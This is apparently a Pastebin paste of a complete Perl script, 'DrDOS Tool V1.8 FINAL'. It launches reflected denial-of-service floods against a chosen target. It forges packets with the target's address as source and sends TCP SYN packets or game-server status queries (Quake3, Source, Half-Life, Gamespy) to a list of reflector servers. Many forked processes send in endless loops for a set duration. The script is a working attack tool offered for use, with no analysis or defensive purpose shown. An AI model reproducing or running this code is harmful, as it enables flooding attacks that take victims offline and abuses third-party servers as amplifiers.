- #!/usr/bin/perl -w
- use Benchmark;
- use Net::RawIP;
- use Time::HiRes qw ( usleep );
- my $rand = int( rand 0x400 );
- my $frag = 0;
- my $doff = 0x05;
- my $ttl = 0xFF;
- my $tos = 0x08;
- my $pid;
- my $tx;
- my @list;
- my @running;
- my @pids;
- my %attack =
- ( "tcp" => \&tcp, "quake3" => \&quake3, "source" => \&source, "hl" => \&hl, "gs" => \&gs, "gs2" => \&gs2 );
- if ( @ARGV < 7 || @ARGV > 7 ) {
- &usage();
- exit;
- }
- $tx = $ARGV[3];
- my $t0 = new Benchmark;
- print "\n*** Now Reading Hosts Into Array\n\n";
- open( ELITE, $ARGV[2] ) || die "Unable to open $ARGV[2]!\n";
- chomp( @list = <ELITE> );
- close(ELITE);
- sub tcp {
- my ( $ip, $port ) = @_;
- my $a = new Net::RawIP(
- {
- ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl },
- tcp => {
- dest => $port,
- source => $ARGV[1],
- syn => 1,
- ack => 0,
- fin => 0,
- rst => 0,
- psh => 0,
- urg => 0,
- doff => $doff
- }
- }
- );
- $a->send( 0, $tx );
- }
- sub quake3 {
- my ( $ip, $port ) = @_;
- my $a = new Net::RawIP(
- {
- ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
- udp => {
- dest => $port,
- source => $ARGV[1],
- data => chr(255) . chr(255) . chr(255) . chr(255) . "getstatus" . chr(10),
- }
- }
- );
- $a->send( 0, $tx );
- }
- sub source {
- my ( $ip, $port ) = @_;
- my $a = new Net::RawIP(
- {
- ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
- udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . chr(85), }
- }
- );
- $a->send( 0, $tx );
- }
- sub hl {
- my ( $ip, $port ) = @_;
- my $a = new Net::RawIP(
- {
- ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
- udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . "rules", }
- }
- );
- $a->send( 0, $tx );
- }
- sub gs {
- my ( $ip, $port ) = @_;
- my $a = new Net::RawIP(
- {
- ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
- udp => {
- dest => $port,
- source => $ARGV[1],
- data => chr(92) . chr(115) . chr(116) . chr(97) . chr(116) . chr(117) . chr(115) . chr(92),
- }
- }
- );
- $a->send( 0, $tx );
- }
- sub gs2 {
- my ( $ip, $port ) = @_;
- my $a = new Net::RawIP(
- {
- ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
- udp => {
- dest => $port,
- source => $ARGV[1],
- data => chr(254)
- . chr(253)
- . chr(0)
- . chr(67)
- . chr(79)
- . chr(82)
- . chr(89)
- . chr(255)
- . chr(255)
- . chr(255),
- }
- }
- );
- $a->send( 0, $tx );
- }
- sub paxor {
- my $type = $_[0];
- unless ( $type eq "mixed" ) {
- while (1) {
- foreach (@list) { $attack{$type}->( split( ':', $_ ) );}
- }
- }
- else {
- my @part;
- while (1) {
- foreach (@list) {
- @part = split( ":", $_ );
- $attack{ $part[2] }->( $part[0], $part[1]);
- }
- }
- }
- }
- for($number = 0;$number < $ARGV[5];$number++)
- {
- $pid = fork();
- if ( $pid == 0 ) {
- $SIG{INT} = \&controlsub;
- &paxor( $ARGV[4] );
- my $t1 = new Benchmark;
- my $td = timediff( $t1, $t0 );
- print "\nTotal Time: ", timestr($td), "\n";
- sleep(5);
- exit;
- }
- else {
- push(@pids, $pid);
- }
- }
- sleep( $ARGV[6] );
- foreach(@pids)
- {
- kill( "INT", $_ );
- }
- exit;
- sub controlme {
- $SIG{INT} = \&controlme;
- print "Signal Caught Now Exiting\n";
- my $t1 = new Benchmark;
- my $td = timediff( $t1, $t0 );
- print "\nTotal Time: ", timestr($td), "\n";
- sleep(5);
- exit;
- }
- sub controlsub {
- $SIG{INT} = \&controlsub;
- exit;
- }
- sub usage {
- print << "HEREDOC";
- $0 <target> <target port> <reflector list> <weight> <attack type> <threads> <Time>
- DrDOS Tool V1.8 FINAL by ohnoes1479
- Time: Limit running time of the script, Time is in seconds
- threads: number of threads to run
- attack types:
- tcp: reflected tcp SYN attack
- quake3: reflected udp attack using quake3 based servers
- source: reflected udp attack using Valve Source based servers
- hl: reflected udp attack using Half Life servers
- gs: reflected udp attack using Gamespy based servers
- gs2: reflected udp attack using Gamespy 2 based servers
- mixed: specify type of server in list, EG:
- 8.8.8.8:80:tcp
- 64.120.46.100:28960:quake3
- Command: $0 127.0.0.1 8080 servers.txt 5 tcp
- HEREDOC
- }
SHARE
TWEET


DrDoS




Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.